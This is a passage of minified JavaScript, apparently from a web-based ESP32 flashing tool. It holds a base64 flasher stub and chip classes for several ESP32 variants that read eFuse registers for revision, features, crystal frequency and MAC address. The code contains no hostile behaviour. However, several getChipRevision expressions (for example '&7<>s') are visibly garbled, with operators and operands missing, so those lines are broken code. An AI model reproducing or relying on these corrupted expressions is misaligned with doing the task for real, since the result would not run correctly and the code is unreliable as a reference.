QAABwEAAAGJgAQBxLAEA0mABAAJkAQJH7/xLB4Mlh6UH5MQlx2VGQEcDtAiLREM0DAfX/wAAA8fb4hgoA3QzHvwHdD00NPQEtDgHw/8AAACAgdPxCTQ09ASLREAHs/8AAANDugNDMwFYc/SHl/zLREBAigAHn/8AAACHh/xwDGiIF9f8tDAYBAAAAIqBjkd3/mhEIcchh2FHoQfgxEsEgDfAAEsHwIqDACTEBuv/AAAAIMRLBEA3wAAAAbBAAAGgQAAB0EAAAeBAAAHwQAACAEAAAkBAAAJgPAECMOwBAEsHgkfz/+TH9AiHG/8lh2VEJcelBkBHAGiI5AjHy/ywCGjNJA0Hw/9LREBpEwqAAUmQAwm0aAfD/wAAAYer/Ibz4GmZoBmeyAsZJAC0NAbb/wAAAIbP/MeX/KkEaM0kDRj4AAABhr/8x3/8aZmgGGjPoA8AmwOeyAiDiIGHd/z0BGmZZBk0O8C8gAaj/wAAAMdj/ICB0GjNYA4yyDARCbRbtBMYSAAAAAEHR/+r/GkRZBAXx/z0OLQGF4/9F8P9NDj0B0C0gAZr/wAAAYcn/6swaZlgGIZP/GiIoAie8vDHC/1AswBozOAM3sgJG3f9G6v9CoABCTWwhuf8QIoABv//AAABWAv9huf8iDWwQZoA4BkUHAPfiEfZODkGx/xpE6jQiQwAb7sbx/zKv/jeSwSZOKSF7/9A9IBAigAF+/8AAAAXo/yF2/xwDGiJF2v9F5/8sAgGm+MAAAIYFAGFx/1ItGhpmaAZntchXPAIG2f/G7/8AkaD/mhEIcchh2FHoQfgxEsEgDfBdAkKgwCgDR5UOzDIMEoYGAAwCKQN84g3wJhIFJiIRxgsAQqDbLQVHlSkMIikDBggAIqDcJ5UIDBIpAy0EDfAAQqDdfPJHlQsMEikDIqDbDfAAfPIN8AAAtiMwbQJQ9kBA80BHtSlQRMAAFEAAM6EMAjc2BDBmwBsi8CIRMDFBC0RWxP43NgEbIg3wAIyTDfA3NgwMEg3wAAAAAABESVYwDAIN8LYjKFDyQEDzQEe1F1BEwAAUQAAzoTcyAjAiwDAxQULE/1YE/zcyAjAiwA3wzFMAAABESVYwDAIN8AAAAAAUQObECSAzgQAioQ3wAAAAMqEMAg3wAA==",text_start:1074843648,data:"CIH+PwUFBAACAwcAAwMLANTXEEAL2BBAOdgQQNbYEECF5xBAOtkQQJDZEEDc2RBAhecQQKLaEEAf2xBA4NsQQIXnEECF5xBAeNwQQIXnEEBV3xBAHOAQQFfgEECF5xBAhecQQPPgEECF5xBA2+EQQIHiEEDA4xBAf+QQQFDlEECF5xBAhecQQIXnEECF5xBAfuYQQIXnEEB05xBAsN0QQKnYEEDC5RBAydoQQBvaEECF5xBACOcQQE/nEECF5xBAhecQQIXnEECF5xBAhecQQIXnEECF5xBAhecQQELaEEB/2hBA2uUQQAEAAAACAAAAAwAAAAQAAAAFAAAABwAAAAkAAAANAAAAEQAAABkAAAAhAAAAMQAAAEEAAABhAAAAgQAAAMEAAAABAQAAgQEAAAECAAABAwAAAQQAAAEGAAABCAAAAQwAAAEQAAABGAAAASAAAAEwAAABQAAAAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAAAgAAAAIAAAADAAAAAwAAAAQAAAAEAAAABQAAAAUAAAAGAAAABgAAAAcAAAAHAAAACAAAAAgAAAAJAAAACQAAAAoAAAAKAAAACwAAAAsAAAAMAAAADAAAAA0AAAANAAAAAAAAAAAAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAJAAAACgAAAAsAAAANAAAADwAAABEAAAATAAAAFwAAABsAAAAfAAAAIwAAACsAAAAzAAAAOwAAAEMAAABTAAAAYwAAAHMAAACDAAAAowAAAMMAAADjAAAAAgEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAEAAAABAAAAAgAAAAIAAAACAAAAAgAAAAMAAAADAAAAAwAAAAMAAAAEAAAABAAAAAQAAAAEAAAABQAAAAUAAAAFAAAABQAAAAAAAAAAAAAAAAAAABAREgAIBwkGCgULBAwDDQIOAQ8AAQEAAAEAAAAEAAAA",data_start:1073720488,bss_start:1073643776}});var O,AA=G(()=>{O=class{getEraseSize(e,A){return A}}});var bi={};K(bi,{ESP32ROM:()=>zA});var zA,Jt=G(()=>{AA();zA=class extends O{constructor(){super(...arguments),this.CHIP_NAME="ESP32",this.IMAGE_CHIP_ID=0,this.EFUSE_RD_REG_BASE=1073061888,this.DR_REG_SYSCON_BASE=1073111040,this.UART_CLKDIV_REG=1072955412,this.UART_CLKDIV_MASK=1048575,this.UART_DATE_REG_ADDR=1610612856,this.XTAL_CLK_DIVIDER=1,this.FLASH_SIZES={"1MB":0,"2MB":16,"4MB":32,"8MB":48,"16MB":64},this.FLASH_WRITE_SIZE=1024,this.BOOTLOADER_FLASH_OFFSET=4096,this.SPI_REG_BASE=1072963584,this.SPI_USR_OFFS=28,this.SPI_USR1_OFFS=32,this.SPI_USR2_OFFS=36,this.SPI_W0_OFFS=128,this.SPI_MOSI_DLEN_OFFS=40,this.SPI_MISO_DLEN_OFFS=44}async readEfuse(e,A){let i=this.EFUSE_RD_REG_BASE+4*A;return e.debug("Read efuse "+i),await e.readReg(i)}async getPkgVersion(e){let A=await this.readEfuse(e,3),i=A>>9&7;return i+=(A>>2&1)<<3,i}async getChipRevision(e){let A=await this.readEfuse(e,3),i=await this.readEfuse(e,5),s=await e.readReg(this.DR_REG_SYSCON_BASE+124),a=A>>15&1,n=i>>20&1,E=s>>31&1;return a!=0?n!=0?E!=0?3:2:1:0}async getChipDescription(e){let A=["ESP32-D0WDQ6","ESP32-D0WD","ESP32-D2WD","","ESP32-U4WDH","ESP32-PICO-D4","ESP32-PICO-V3-02"],i="",s=await this.getPkgVersion(e),a=await this.getChipRevision(e),n=a==3;return(await this.readEfuse(e,3)&1)!=0&&(A[0]="ESP32-S0WDQ6",A[1]="ESP32-S0WD"),n&&(A[5]="ESP32-PICO-V3"),s>=0&&s<=6?i=A[s]:i="Unknown ESP32",n&&(s===0||s===1)&&(i+="-V3"),i+" (revision "+a+")"}async getChipFeatures(e){let A=["Wi-Fi"],i=await this.readEfuse(e,3);(i&2)===0&&A.push(" BT"),(i&1)!==0?A.push(" Single Core"):A.push(" Dual Core"),(i&8192)!==0&&((i&4096)!==0?A.push(" 160MHz"):A.push(" 240MHz"));let E=await this.getPkgVersion(e);[2,4,5,6].indexOf(E)!==-1&&A.push(" Embedded Flash"),E===6&&A.push(" Embedded PSRAM"),(await this.readEfuse(e,4)>>8&31)!==0&&A.push(" VRef calibration in efuse"),(i>>14&1)!==0&&A.push(" BLK3 partially reserved");let c=await this.readEfuse(e,6)&3,g=["None","3/4","Repeat (UNSUPPORTED)","Invalid"];return A.push(" Coding Scheme "+g[c]),A}async getCrystalFreq(e){let A=await e.readReg(this.UART_CLKDIV_REG)&this.UART_CLKDIV_MASK,i=e.transport.baudrate*A/1e6/this.XTAL_CLK_DIVIDER,s;return i>33?s=40:s=26,Math.abs(s-i)>1&&e.info("WARNING: Unsupported crystal in use"),s}_d2h(e){let A=(+e).toString(16);return A.length===1?"0"+A:A}async readMac(e){let A=await this.readEfuse(e,1);A=A>>>0;let i=await this.readEfuse(e,2);i=i>>>0;let s=new Uint8Array(6);return s[0]=i>>8&255,s[1]=i&255,s[2]=A>>24&255,s[3]=A>>16&255,s[4]=A>>8&255,s[5]=A&255,this._d2h(s[0])+":"+this._d2h(s[1])+":"+this._d2h(s[2])+":"+this._d2h(s[3])+":"+this._d2h(s[4])+":"+this._d2h(s[5])}}});var Gi={};K(Gi,{ESP32C3ROM:()=>jA});var jA,vt=G(()=>{AA();jA=class extends O{constructor(){super(...arguments),this.CHIP_NAME="ESP32-C3",this.IMAGE_CHIP_ID=5,this.EFUSE_BASE=1610647552,this.MAC_EFUSE_REG=this.EFUSE_BASE+68,this.UART_CLKDIV_REG=1072955412,this.UART_CLKDIV_MASK=1048575,this.UART_DATE_REG_ADDR=1610612860,this.FLASH_WRITE_SIZE=1024,this.BOOTLOADER_FLASH_OFFSET=0,this.FLASH_SIZES={"1MB":0,"2MB":16,"4MB":32,"8MB":48,"16MB":64},this.SPI_REG_BASE=1610620928,this.SPI_USR_OFFS=24,this.SPI_USR1_OFFS=28,this.SPI_USR2_OFFS=32,this.SPI_MOSI_DLEN_OFFS=36,this.SPI_MISO_DLEN_OFFS=40,this.SPI_W0_OFFS=88}async getPkgVersion(e){let s=this.EFUSE_BASE+68+4*3;return await e.readReg(s)>>21&7}async getChipRevision(e){let A=this.EFUSE_BASE+68,i=3,s=18,a=A+4*i;return(await e.readReg(a)&7<>s}async getMinorChipVersion(e){let i=this.EFUSE_BASE+68+20,s=await e.readReg(i)>>23&1,n=this.EFUSE_BASE+68+4*3,E=await e.readReg(n)>>18&7;return(s<<3)+E}async getMajorChipVersion(e){let i=this.EFUSE_BASE+68+20;return await e.readReg(i)>>24&3}async getChipDescription(e){let A={0:"ESP32-C3 (QFN32)",1:"ESP8685 (QFN28)",2:"ESP32-C3 AZ (QFN32)",3:"ESP8686 (QFN24)"},i=await this.getPkgVersion(e),s=await this.getMajorChipVersion(e),a=await this.getMinorChipVersion(e);return`${A[i]||"Unknown ESP32-C3"} (revision v${s}.${a})`}async getFlashCap(e){let s=this.EFUSE_BASE+68+4*3;return await e.readReg(s)>>27&7}async getFlashVendor(e){let s=this.EFUSE_BASE+68+4*4,n=await e.readReg(s)>>0&7;return{1:"XMC",2:"GD",3:"FM",4:"TT",5:"ZBIT"}[n]||""}async getChipFeatures(e){let A=["Wi-Fi","BLE"],i={0:null,1:"Embedded Flash 4MB",2:"Embedded Flash 2MB",3:"Embedded Flash 1MB",4:"Embedded Flash 8MB"},s=await this.getFlashCap(e),a=await this.getFlashVendor(e),n=i[s],E=n!==void 0?n:"Unknown Embedded Flash";return n!==null&&A.push(`${E} (${a})`),A}async getCrystalFreq(e){return 40}_d2h(e){let A=(+e).toString(16);return A.length===1?"0"+A:A}async readMac(e){let A=await e.readReg(this.MAC_EFUSE_REG);A=A>>>0;let i=await e.readReg(this.MAC_EFUSE_REG+4);i=i>>>0&65535;let s=new Uint8Array(6);return s[0]=i>>8&255,s[1]=i&255,s[2]=A>>24&255,s[3]=A>>16&255,s[4]=A>>8&255,s[5]=A&255,this._d2h(s[0])+":"+this._d2h(s[1])+":"+this._d2h(s[2])+":"+this._d2h(s[3])+":"+this._d2h(s[4])+":"+this._d2h(s[5])}getEraseSize(e,A){return A}}});var mi={};K(mi,{ESP32C2ROM:()=>Wt});var Wt,Ki=G(()=>{vt();Wt=class extends jA{constructor(){super(...arguments),this.CHIP_NAME="ESP32-C2",this.IMAGE_CHIP_ID=12,this.EFUSE_BASE=1610647552,this.MAC_EFUSE_REG=this.EFUSE_BASE+64,this.UART_CLKDIV_REG=1610612756,this.UART_CLKDIV_MASK=1048575,this.UART_DATE_REG_ADDR=1610612860,this.XTAL_CLK_DIVIDER=1,this.FLASH_WRITE_SIZE=1024,this.BOOTLOADER_FLASH_OFFSET=0,this.FLASH_SIZES={"1MB":0,"2MB":16,"4MB":32,"8MB":48,"16MB":64},this.SPI_REG_BASE=1610620928,this.SPI_USR_OFFS=24,this.SPI_USR1_OFFS=28,this.SPI_USR2_OFFS=32,this.SPI_MOSI_DLEN_OFFS=36,this.SPI_MISO_DLEN_OFFS=40,this.SPI_W0_OFFS=88}async getPkgVersion(e){let s=this.EFUSE_BASE+64+4*1;return await e.readReg(s)>>22&7}async getChipRevision(e){let A=this.EFUSE_BASE+64,i=1,s=20,a=A+4*i;return(await e.readReg(a)&3<>s}async getChipDescription(e){let A,i=await this.getPkgVersion(e);i===0||i===1?A="ESP32-C2":A="unknown ESP32-C2";let s=await this.getChipRevision(e);return A+=" (revision "+s+")",A}async getChipFeatures(e){return["Wi-Fi","BLE"]}async getCrystalFreq(e){let A=await e.readReg(this.UART_CLKDIV_REG)&this.UART_CLKDIV_MASK,i=e.transport.baudrate*A/1e6/this.XTAL_CLK_DIVIDER,s;return i>33?s=40:s=26,Math.abs(s-i)>1&&e.info("WARNING: Unsupported crystal in use"),s}async changeBaudRate(e){await this.getCrystalFreq(e)===26&&e.changeBaud()}_d2h(e){let A=(+e).toString(16);return A.length===1?"0"+A:A}async readMac(e){let A=await e.readReg(this.MAC_EFUSE_REG);A=A>>>0;let i=await e.readReg(this.MAC_EFUSE_REG+4);i=i>>>0&65535;let s=new Uint8Array(6);return s[0]=i>>8&255,s[1]=i&255,s[2]=A>>24&255,s[3]=A>>16&255,s[4]=A>>8&255,s[5]=A&255,this._d2h(s[0])+":"+this._d2h(s[1])+":"+this._d2h(s[2])+":"+this._d2h(s[3])+":"+this._d2h(s[4])+":"+this._d2h(s[5])}getEraseSize(e,A){return A}}});var Li={};K(Li,{ESP32C6ROM:()=>wA});var wA,gt=G(()=>{AA();wA=class extends O{constructor(){super(...arguments),this.CHIP_NAME="ESP32-C6",this.IMAGE_CHIP_ID=13,this.EFUSE_BASE=1611335680,this.EFUSE_BLOCK1_ADDR=this.EFUSE_BASE+68,this.MAC_EFUSE_REG=this.EFUSE_BASE+68,this.UART_CLKDIV_REG=1072955412,this.UART_CLKDIV_MASK=1048575,this.UART_DATE_REG_ADDR=1610612860,this.FLASH_WRITE_SIZE=1024,this.BOOTLOADER_FLASH_OFFSET=0,this.FLASH_SIZES={"1MB":0,"2MB":16,"4MB":32,"8MB":48,"16MB":64},this.SPI_REG_BASE=1610620928,this.SPI_USR_OFFS=24,this.SPI_USR1_OFFS=28,this.SPI_USR2_OFFS=32,this.SPI_MOSI_DLEN_OFFS=36,this.SPI_MISO_DLEN_OFFS=40,this.SPI_W0_OFFS=88}async getPkgVersion(e){let s=this.EFUSE_BASE+68+4*3;return await e.readReg(s)>>21&7}async getChipRevision(e){let A=this.EFUSE_BASE+68,i=3,s=18,a=A+4*i;return(await e.readReg(a)&7<>s}async getChipDescription(e){let A;await this.getPkgVersion(e)===0?A="ESP32-C6":A="unknown ESP32-C6";let s=await this.getChipRevision(e);return A+=" (revision "+s+")",A}async getChipFeatures(e){return["Wi-Fi 6","BT 5","IEEE802.15.4"]}async getCrystalFreq(e){return 40}_d2h(e){let A=(+e).toString(16);return A.length===1?"0"+A:A}async readMac(e){let A=await e.readReg(this.MAC_EFUSE_REG);A=A>>>0;let i=await e.readReg(this.MAC_EFUSE_REG+4);i=i>>>0&65535;let s=new Uint8Array(6);return s[0]=i>>8&255,s[1]=i&255,s[2]=A>>24&255,s[3]=A>>16&255,s[4]=A>>8&255,s[5]=A&255,this._d2h(s[0])+":"+this._d2h(s[1])+":"+this._d2h(s[2])+":"+this._d2h(s[3])+":"+this._d2h(s[4])+":"+this._d2h(s[5])}getEraseSize(e,A){return A}}});var Ni={};K(Ni,{ESP32C61ROM:()=>zt});var zt,Ji=G(()=>{gt();zt=class extends wA{constructor(){super(...arguments),this.CHIP_NAME="ESP32-C61",this.IMAGE_CHIP_ID=20,this.CHIP_DETECT_MAGIC_VALUE=[871374959,606167151],this.UART_DATE_REG_ADDR=1610612860,this.EFUSE_BASE=1611352064,this.EFUSE_BLOCK1_ADDR=this.EFUSE_BASE+68,this.MAC_EFUSE_REG=this.EFUSE_BASE+68,this.EFUSE_RD_REG_BASE=this.EFUSE_BASE+48,this.EFUSE_PURPOSE_KEY0_REG=this.EFUSE_BASE+52,this.EFUSE_PURPOSE_KEY0_SHIFT=0,this.EFUSE_PURPOSE_KEY1_REG=this.EFUSE_BASE+52,this.EFUSE_PURPOSE_KEY1_SHIFT=4,this.EFUSE_PURPOSE_KEY2_REG=this.EFUSE_BASE+52,this.EFUSE_PURPOSE_KEY2_SHIFT=8,this.EFUSE_PURPOSE_KEY3_REG=this.EFUSE_BASE+52,this.EFUSE_PURPOSE_KEY3_SHIFT=12,this.EFUSE_PURPOSE_KEY4_REG=this.EFUSE_BASE+52,this.EFUSE_PURPOSE_KEY4_SHIFT=16,this.EFUSE_PURPOSE_KEY5_REG=this.EFUSE_BASE+52,this.EFUSE_PURPOSE_KEY5_SHIFT=20,this.EFUSE_DIS_DOWNLOAD_MANUAL_ENCRYPT_REG=this.EFUSE_RD_REG_BASE,this.EFUSE_DIS_DOWNLOAD_MANUAL_ENCRYPT=1<<20,this.EFUSE_SPI_BOOT_CRYPT_CNT_REG=this.EFUSE_BASE+48,this.EFUSE_SPI_BOOT_CRYPT_CNT_MASK=7<<23,this.EFUSE_SECURE_BOOT_EN_REG=this.EFUSE_BASE+52,this.EFUSE_SECURE_BOOT_EN_MASK=1<<26,this.FLASH_FREQUENCY={"80m":15,"40m":0,"20m":2},this.MEMORY_MAP=[[0,65536,"PADDING"],[1098907648,1107296256,"DROM"],[1082130432,1082523648,"DRAM"],[1082130432,1082523648,"BYTE_ACCESSIBLE"],[1074048e3,1074069504,"DROM_MASK"],[1073741824,1074048e3,"IROM_MASK"],[1090519040,1098907648,"IROM"],[1082130432,1082523648,"IRAM"],[1342177280,1342193664,"RTC_IRAM"],[1342177280,1342193664,"RTC_DRAM"],[1611653120,1611661312,"MEM_INTERNAL2"]],this.UF2_FAMILY_ID=2010665156,this.EFUSE_MAX_KEY=5,this.KEY_PURPOSES={0:"USER/EMPTY",1:"ECDSA_KEY",2:"XTS_AES_256_KEY_1",3:"XTS_AES_256_KEY_2",4:"XTS_AES_128_KEY",5:"HMAC_DOWN_ALL",6:"HMAC_DOWN_JTAG",7:"HMAC_DOWN_DIGITAL_SIGNATURE",8:"HMAC_UP",9:"SECURE_BOOT_DIGEST0",10:"SECURE_BOOT_DIGEST1",11:"SECURE_BOOT_DIGEST2",12:"KM_INIT_KEY",13:"XTS_AES_256_KEY_1_PSRAM",14:"XTS_AES_256_KEY_2_PSRAM",15:"XTS_AES_128_KEY_PSRAM"}}async getPkgVersion(e){return await e.readReg(this.EFUSE_BLOCK1_ADDR+4*2)>>26&7}async getMinorChipVersion(e){return await e.readReg(this.EFUSE_BLOCK1_ADDR+4*2)>>0&15}async getMajorChipVersion(e){return await e.readReg(this.EFUSE_BLOCK1_ADDR+4*2)>>4&3}async getChipDescription(e){let A=await this.getPkgVersion(e),i;A===0?i="ESP32-C61":i="unknown ESP32-C61";let s=await this.getMajorChipVersion(e),a=await this.getMinorChipVersion(e);return`${i} (revision v${s}.${a})`}async getChipFeatures(e){return["WiFi 6","BT 5"]}async readMac(e){let A=await e.readReg(this.MAC_EFUSE_REG);A=A>>>0;let i=await e.readReg(this.MAC_EFUSE_REG+4);i=i>>>0&65535;let s=new Uint8Array(6);return s[0]=i>>8&255,s[1]=i&255,s[2]=A>>24&255,s[3]=A>>16&255,s[4]=A>>8&255,s[5]=A&255,this._d2h(s[0])+":"+this._d2h(s[1])+":"+this._d2h(s[2])+":"+this._d2h(s[3])+":"+this._d2h(s[4])+":"+this._d2h(s[5])}}});var vi={};K(vi,{ESP32C5ROM:()=>jt});var jt,Wi=G(()=>{gt();jt=class extends wA{constructor(){super(...arguments),this.CHIP_NAME="ESP32-C5",this.IMAGE_CHIP_ID=23,this.BOOTLOADER_FLASH_OFFSET=8192,this.EFUSE_BASE=1611352064,this.EFUSE_BLOCK1_ADDR=this.EFUSE_BASE+68,this.MAC_EFUSE_REG=this.EFUSE_BASE+68,this.UART_CLKDIV_REG=1610612756,this.EFUSE_RD_REG_BASE=this.EFUSE_BASE+48,this.EFUSE_PURPOSE_KEY0_REG=this.EFUSE_BASE+52,this.EFUSE_PURPOSE_KEY0_SHIFT=24,this.EFUSE_PURPOSE_KEY1_REG=this.EFUSE_BASE+52,this.EFUSE_PURPOSE_KEY1_SHIFT=28,this.EFUSE_PURPOSE_KEY2_REG=this.EFUSE_BASE+56,this.EFUSE_PURPOSE_KEY2_SHIFT=0,this.EFUSE_PURPOSE_KEY3_REG=this.EFUSE_BASE+56,this.EFUSE_PURPOSE_KEY3_SHIFT=4,this.EFUSE_PURPOSE_KEY4_REG=this.EFUSE_BASE+56,this.EFUSE_PURPOSE_KEY4_SHIFT=8,this.EFUSE_PURPOSE_KEY5_REG=this.EFUSE_BASE+56,this.EFUSE_PURPOSE_KEY5_SHIFT=12,this.EFUSE_DIS_DOWNLOAD_MANUAL_ENCRYPT_REG=this.EFUSE_RD_REG_BASE,this.EFUSE_DIS_DOWNLOAD_MANUAL_ENCRYPT=1<<20,this.EFUSE_SPI_BOOT_CRYPT_CNT_REG=this.EFUSE_BASE+52,this.EFUSE_SPI_BOOT_CRYPT_CNT_MASK=7<<18,this.EFUSE_SECURE_BOOT_EN_REG=this.EFUSE_BASE+56,this.EFUSE_SECURE_BOOT_EN_MASK=1<<20,this.IROM_MAP_START=1107296256,this.IROM_MAP_END=1115684864,this.DROM_MAP_START=1115684864,this.DROM_MAP_END=1124073472,this.PCR_SYSCLK_CONF_REG=1611227408,this.PCR_SYSCLK_XTAL_FREQ_V=127<<24,this.PCR_SYSCLK_XTAL_FREQ_S=24,this.XTAL_CLK_DIVIDER=1,this.UARTDEV_BUF_NO=1082520860,this.CHIP_DETECT_MAGIC_VALUE=[285294703,1675706479,1607549039],this.FLASH_FREQUENCY={"80m":15,"40m":0,"20m":2},this.MEMORY_MAP=[[0,65536,"PADDING"],[1115684864,1124073472,"DROM"],[1082130432,1082523648,"DRAM"],[1082130432,1082523648,"BYTE_ACCESSIBLE"],[1073979392,1074003968,"DROM_MASK"],[1073741824,1073979392,"IROM_MASK"],[1107296256,1115684864,"IROM"],[1082130432,1082523648,"IRAM"],[1342177280,1342193664,"RTC_IRAM"],[1342177280,1342193664,"RTC_DRAM"],[1611653120,1611661312,"MEM_INTERNAL2"]],this.UF2_FAMILY_ID=4145808195,this.EFUSE_MAX_KEY=5,this.KEY_PURPOSES={0:"USER/EMPTY",1:"ECDSA_KEY",2:"XTS_AES_256_KEY_1",3:"XTS_AES_256_KEY_2",4:"XTS_AES_128_KEY",5:"HMAC_DOWN_ALL",6:"HMAC_DOWN_JTAG",7:"HMAC_DOWN_DIGITAL_SIGNATURE",8:"HMAC_UP",9:"SECURE_BOOT_DIGEST0",10:"SECURE_BOOT_DIGEST1",11:"SECURE_BOOT_DIGEST2",12:"KM_INIT_KEY"}}async getPkgVersion(e){return await e.readReg(this.EFUSE_BLOCK1_ADDR+4*2)>>26&7}async getMinorChipVersion(e){return await e.readReg(this.EFUSE_BLOCK1_ADDR+4*2)>>0&15}async getMajorChipVersion(e){return await e.readReg(this.EFUSE_BLOCK1_ADDR+4*2)>>4&3}async getChipDescription(e){let A=await this.getPkgVersion(e),i;A===0?i="ESP32-C5":i="unknown ESP32-C5";let s=await this.getMajorChipVersion(e),a=await this.getMinorChipVersion(e);return`${i} (revision v${s}.${a})`}async getChipFeatures(e){return["Wi-Fi 6 (dual-band)","BT 5 (LE)"]}async getCrystalFreq(e){let A=await e.readReg(this.UART_CLKDIV_REG)&this.UART_CLKDIV_MASK,i=e.transport.baudrate*A/1e6/this.XTAL_CLK_DIVIDER,s;return i>45?s=48:i>33?s=40:s=26,Math.abs(s-i)>1&&e.info("WARNING: Unsupported crystal in use"),s}async getCrystalFreqRomExpect(e){return(await e.readReg(this.PCR_SYSCLK_CONF_REG)&this.PCR_SYSCLK_XTAL_FREQ_V)>>this.PCR_SYSCLK_XTAL_FREQ_S}}});var zi={};K(zi,{ESP32H2ROM:()=>Zt});var Zt,ji=G(()=>{AA();Zt=class extends O{constructor(){super(...arguments),this.CHIP_NAME="ESP32-H2",this.IMAGE_CHIP_ID=16,this.EFUSE_BASE=1611335680,this.EFUSE_BLOCK1_ADDR=this.EFUSE_BASE+68,this.MAC_EFUSE_REG=this.EFUSE_BASE+68,this.UART_CLKDIV_REG=1072955412,this.UART_CLKDIV_MASK=1048575,this.UART_DATE_REG_ADDR=1610612860,this.FLASH_WRITE_SIZE=1024,this.BOOTLOADER_FLASH_OFFSET=0,this.FLASH_SIZES={"1MB":0,"2MB":16,"4MB":32,"8MB":48,"16MB":64},this.SPI_REG_BASE=1610620928,this.SPI_USR_OFFS=24,this.SPI_USR1_OFFS=28,this.SPI_USR2_OFFS=32,this.SPI_MOSI_DLEN_OFFS=36,this.SPI_MISO_DLEN_OFFS=40,this.SPI_W0_OFFS=88,this.USB_RAM_BLOCK=2048,this.UARTDEV_BUF_NO_USB=3,this.UARTDEV_BUF_NO=1070526796}async getPkgVersion(e){return await e.readReg(this.EFUSE_BLOCK1_ADDR+4*4)>>0&7}async getMinorChipVersion(e){return await e.readReg(this.EFUSE_BLOCK1_ADDR+4*3)>>18&7}async getMajorChipVersion(e){return await e.readReg(this.EFUSE_BLOCK1_ADDR+4*3)>>21&3}async getChipDescription(e){let A=await this.getPkgVersion(e),i;A===0?i="ESP32-H2":i="unknown ESP32-H2";let s=await this.getMajorChipVersion(e),a=await this.getMinorChipVersion(e);return`${i} (revision v${s}.${a})`}async getChipFeatures(e){return["BT 5 (LE)","IEEE802.15.4","Single Core","96MHz"]}async getCrystalFreq(e){return 32}_d2h(e){let A=(+e).toString(16);return A.length===1?"0"+A:A}async postConnect(e){let A=await e.readReg(this.UARTDEV_BUF_NO)&255;e.debug("In _post_connect "+A),A==this.UARTDEV_BUF_NO_USB&&(e.ESP_RAM_BLOCK=this.USB_RAM_BLOCK)}async readMac(e){let A=await e.readReg(this.MAC_EFUSE_REG);A=A>>>0;let i=await e.readReg(this.MAC_EFUSE_REG+4);i=i>>>0&65535;let s=new Uint8Array(6);return s[0]=i>>8&255,s[1]=i&255,s[2]=A>>24&255,s[3]=A>>16&255,s[4]=A>>8&255,s[5]=A&255,this._d2h(s[0])+":"+this._d2h(s[1])+":"+this._d2h(s[2])+":"+this._d2h(s[3])+":"+this._d2h(s[4])+":"+this._d2h(s[5])}getEraseSize(e,A){return A}}});var Zi={};K(Zi,{ESP32S3ROM:()=>Xt});var Xt,Xi=G(()=>{AA();Xt=class extends O{constructor(){super(...arguments),this.CHIP_NAME="ESP32-S3",this.IMAGE_CHIP_ID=9,this.EFUSE_BASE=1610641408,this.MAC_EFUSE_REG=this.EFUSE_BASE+68,this.EFUSE_BLOCK1_ADDR=this.EFUSE_BASE+68,this.EFUSE_BLOCK2_ADDR=this.EFUSE_BASE+92,this.UART_CLKDIV_REG=1610612756,this.UART_CLKDIV_MASK=1048575,this.UART_DATE_REG_ADDR=1610612864,this.FLASH_WRITE_SIZE=1024,this.BOOTLOADER_FLASH_OFFSET=0,this.FLASH_SIZES={"1MB":0,"2MB":16,"4MB":32,"8MB":48,"16MB":64},this.SPI_REG_BASE=1610620928,this.SPI_USR_OFFS=24,this.SPI_USR1_OFFS=28,this.SPI_USR2_OFFS=32,this.SPI_MOSI_DLEN_OFFS=36,this.SPI_MISO_DLEN_OFFS=40,this.SPI_W0_OFFS=88,this.USB_RAM_BLOCK=2048,this.UARTDEV_BUF_NO_USB=3,this.UARTDEV_BUF_NO=1070526796}async getChipDescription(e){let A=await this.getMajorChipVersion(e),i=await this.getMinorChipVersion(e),s=await this.getPkgVersion(e);return`${{0:"ESP32-S3 (QFN56)",1:"ESP32-S3-PICO-1 (LGA56)"}[s]||"unknown ESP32-S3"} (revision v${A}.${i})`}async getPkgVersion(e){return await e.readReg(this.EFUSE_BLOCK1_ADDR+4*3)>>21&7}async getRawMinorChipVersion(e){let i=await e.readReg(this.EFUSE_BLOCK1_ADDR+20)>>23&1,a=await e.readReg(this.EFUSE_BLOCK1_ADDR+4*3)>>18&7;return(i<<3)+a}async getMinorChipVersion(e){let A=await this.getRawMinorChipVersion(e);return await this.isEco0(e,A)?0:this.getRawMinorChipVersion(e)}async getRawMajorChipVersion(e){return await e.readReg(this.EFUSE_BLOCK1_ADDR+4*5)>>24&3}async getMajorChipVersion(e){let A=await this.getRawMinorChipVersion(e);return await this.isEco0(e,A)?0:this.getRawMajorChipVersion(e)}async getBlkVersionMajor(e){return await e.readReg(this.EFUSE_BLOCK2_ADDR+4*4)>>0&3}async getBlkVersionMinor(e){return await e.readReg(this.EFUSE_BLOCK1_ADDR+4*3)>>24&7}async isEco0(e,A){return(A&7)===0&&await this.getBlkVersionMajor(e)===1&&await this.getBlkVersionMinor(e)===1}async getFlashCap(e){let s=this.EFUSE_BASE+68+4*3;return await e.readReg(s)>>27&7}async getFlashVendor(e){let s=this.EFUSE_BASE+68+4*4,n=await e.readReg(s)>>0&7;return{1:"XMC",2:"GD",3:"FM",4:"TT",5:"BY"}[n]||""}async getPsramCap(e){let s=this.EFUSE_BASE+68+4*4;return await e.readReg(s)>>3&3}async getPsramVendor(e){let s=this.EFUSE_BASE+68+4*4,n=await e.readReg(s)>>7&3;return{1:"AP_3v3",2:"AP_1v8"}[n]||""}async getChipFeatures(e){let A=["Wi-Fi","BLE"],i={0:null,1:"Embedded Flash 8MB",2:"Embedded Flash 4MB"},s=await this.getFlashCap(e),a=await this.getFlashVendor(e),n=i[s],E=n!==void 0?n:"Unknown Embedded Flash";n!==null&&A.push(`${E} (${a})`);let o={0:null,1:"Embedded PSRAM 8MB",2:"Embedded PSRAM 2MB"},r=await this.getPsramCap(e),h=await this.getPsramVendor(e),w=o[r],c=w!==void 0?w:"Unknown Embedded PSRAM";return w!==null&&A.push(`${c} (${h})`),A}async getCrystalFreq(e){return 40}_d2h(e){let A=(+e).toString(16);return A.length===1?"0"+A:A}async postConnect(e){let A=await e.readReg(this.UARTDEV_BUF_NO)&255;e.debug("In _post_connect "+A),A==this.UARTDEV_BUF_NO_USB&&(e.ESP_RAM_BLOCK=this.USB_RAM_BLOCK)}async readMac(e){let A=await e.readReg(this.MAC_EFUSE_REG);A=A>>>0;let i=await e.readReg(this.MAC_EFUSE_REG+4);i=i>>>0&65535;let s=new Uint8Array(6);return 